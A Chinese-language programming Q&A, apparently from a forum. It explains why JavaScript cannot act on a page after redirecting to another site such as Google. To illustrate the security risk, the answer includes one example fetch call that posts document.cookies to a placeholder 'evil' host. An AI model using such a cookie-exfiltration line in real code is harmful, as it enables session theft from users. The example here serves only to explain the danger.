从上一个网页重定向后如何更改网页的样式

Question

我将用户从 first.html 页面重定向到其他 URL（例如：google.com）。用户重定向后，我想在当前网页中进行更改。

window.location.href = "https://google.com"
window.onload=function(){ 
        document.getElementById('content').innerHTML = "Change the text"
        console.log("****")
        
        }

问题是文本没有变化。 **** 也不会在控制台中打印。 怎么了？

Answer 1

JavaScript，在网页中运行，在那个网页中运行。

当浏览器导航到新页面时，前一页面（这是 JS 的执行环境）消失，任何未完成的 JS 都会终止。

如果你想在你导航到的页面上使用 JavaScript，那么它必须被加载到 那个页面中。

如果你想有条件地运行它，那么你可以，例如，向你正在访问的 URL 添加一个查询字符串，并让第二页的 JS 读取查询字符串，看看它是否应该做某事。

当您导航到的页面是 Google 时，您显然不能这样做，因为您无法控制它。

这将是一个主要的安全问题，您可以因为您可以执行的 JS 可能是，举个简单的例子 fetch('http://your-evil-site.example.com/hackGoogle', { method: 'post', body: document.cookies })。